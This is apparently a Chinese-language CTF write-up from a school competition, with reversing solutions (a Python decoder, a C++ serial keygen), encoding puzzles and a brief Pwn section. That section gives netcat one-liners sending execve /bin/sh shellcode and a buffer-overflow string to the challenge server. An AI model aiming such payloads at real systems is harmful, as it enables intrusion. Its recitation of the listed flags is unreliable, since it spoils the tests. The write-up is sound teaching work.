马上就要2022年了,人却被困在学校回不去。

但这并不影响我写个WriteUp,是时候该整理一下今年见到的东西了。

12-23 5点钟加了个Pwn的题解

Reverse

逆向的题都是从不同地方抄来的(属实太菜,想不出人家的脑洞)

但都是比赛真题,不知道能否给大家带来些启发

easy_py

介绍语:一道简单的Python逆向

分数:100

源码可以通过

https://tool.lu/pyc/

或uncompyle6反编译

1
uncompyle6 ‐o 1.py ./easy_py.pyc

题解:

该题是创建了个全局变量,通过两个线程将其进行递减,并进行相关算法:将输入的数据从后往前(37~0),按照列表顺序,当顺序号为:

奇数执行 t1 线程算法:将该数据与顺序进行异或

偶数执行 t2 线程算法:将该数据与后一个数据进行异或

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
flag=[
23, 72, 77, 125, 115, 74, 27, 98, 23, 87, 0, 95]
j=0
for i in flag:
if j%2==0:
flag[j]=flag[j]^flag[j+1]
j+=1
else:
flag[j]=flag[j]^j
j+=1

for i in range(len(flag)):
flag[i]=chr(flag[i])
flagstr=''
flagstr=''.join(flag)

print(flagstr)
1
flag{_I0~9Oye@^_T}

easy_crack

介绍语:无

分数:200

Vivo千镜杯的题目,这是第一次做到这么简单的移动逆向,打开GDA基本就能得出结果image-20211223154017094.png

flag{vivoNeedYou}

Good_old_day

介绍语:正统C++逆向,第一次校赛的题目,分析算法写出注册机,用户名为CTFHUB,flag{Serial Number},使用x64dbg等工具有助于理解

分数:200

如果没人做出来给的Hint:看雪CTF——国色天香

题解:

https://blog.csdn.net/henuyl/article/details/107046902

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
//
// Created by Administrator on 2021/10/22.
//
#include <iostream>
#include <cstdio>
#include <cstring>

using namespace std;
char uName[25] = {0};
char uNameKey[25] = {0};
char uKey[25] = {0};

int main(int argc)
{
cout << "please press your username..." << endl;
int ebx = 0;
int ecx = 0;
int edx = 0;
while(~scanf("%s", uName)){
int uNameLen = strlen(uName);
if(uNameLen == 0){
cout << "Enter Name!" << endl;
continue;
}else if(uNameLen > 0x20){
cout << "Name can be max 32 Chars long!" << endl;
continue;
}else if(uNameLen < 5){
cout << "Name must be min 5 Chars long!" << endl;
continue;
}
break;
}

ecx = 0;
int al = 0x5;
edx = 0;
while(true){
int cl = uName[edx];
cl = cl ^ 0x29;
cl = cl + al;
if(cl < 0x41 || cl > 0x5A){
cl = 0x52;
cl = cl + al;
}
uNameKey[edx] = cl;
uNameKey[edx + 1] = 0x0;
edx ++;
al --;
if(al == 0) break;
}
edx = 0;
al = 5;
while(true){
int cl = uName[edx];
cl = cl ^ 0x27;
cl = cl + al;
if(cl < 0x41 || cl > 0x5A){
cl = 0x4D;
cl = cl + al;
}
uNameKey[edx + 5] = cl;
uNameKey[edx + 5 + 1] = 0x0;
edx ++;
al --;
if(al == 0) break;
}
uNameKey[10] = '\0';
printf("uNameKey = %s\n", uNameKey);
ebx = 0;
ecx = 0;
edx = 0;

while(true){

int dl = uNameKey[ecx];
if(dl == 0x0){
break;
}
dl += 0x5;
if(dl > 0x5a){
dl -= 0xd;
}
dl = dl ^ 0xc;
if(dl < 0x41){
dl = 0x4b;
dl += ecx;
}
if(dl > 0x5A){
dl = 0x4b;
dl -= ecx;
}
uKey[ecx] = dl;
ecx ++;
}
uKey[ecx] = '\0';

printf("uKey = %s\n", uKey);
getchar();
getchar();
return 0;
}

补充一下,配合IDA的话效率会高些(会发现与题解的相似之处)

image-20211223162137610.png

flag{CBVUTFZYXB}

Misc

奇奇怪怪的编码

介绍语:在CTF的Misc中,总能遇到些奇奇怪怪的编码,使用 CTF在线工具 则可以事半功倍

分数:100

文件:testflag.pdf

思路来源:2021极客谷杯

1
2
3
4
5
编码1:泡泡牙牙学语
xinik-samak-luvah-bosik-cysel-funox

编码2: JJ
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+"_"+$.___+"\\"+$.__$+$.$_$+$.$_$+"\\"+$.__$+$.$_$+$.$$_+$.__$+"\\"+$.__$+$.$$_+$._$$+"\\"+$.__$+$.$$_+$._$$+"\\"+$.__$+$.$_$+$.__$+$.$_$_+"\\"+$.__$+$.$_$+$.___+"}"+"\"")())();

编码1:气泡加密-bubble

http://www.hiencode.com/bubble.html

编码2:JJ编码

http://www.hiencode.com/jjencode.html

flag{Pra1se_0mn1ssiah}

PDF

介绍语:一个很普通的PDF文件

分数:200

文件:testflag.pdf

思路来源:攻防世界-PDF

百度一堆答案,我自己做的时候格式工厂PDF转word,马上就出来了

flag{Warhamm3r_4k_is_ok}

Pwn

受Pwn出题人委托,挂上PWN的题解

居然没人做Pwn,可惜了

shellcode

1
2
#/bin/sh
(echo -en "\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x00\x57\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\xc7\xc0\x3b\x00\x00\x00\x0f\x05";cat)|nc xaut.team 4002

Overflow

1
2
#/bin/sh
(python -c "print('a'*0x801)";cat)|nc xaut.team 4001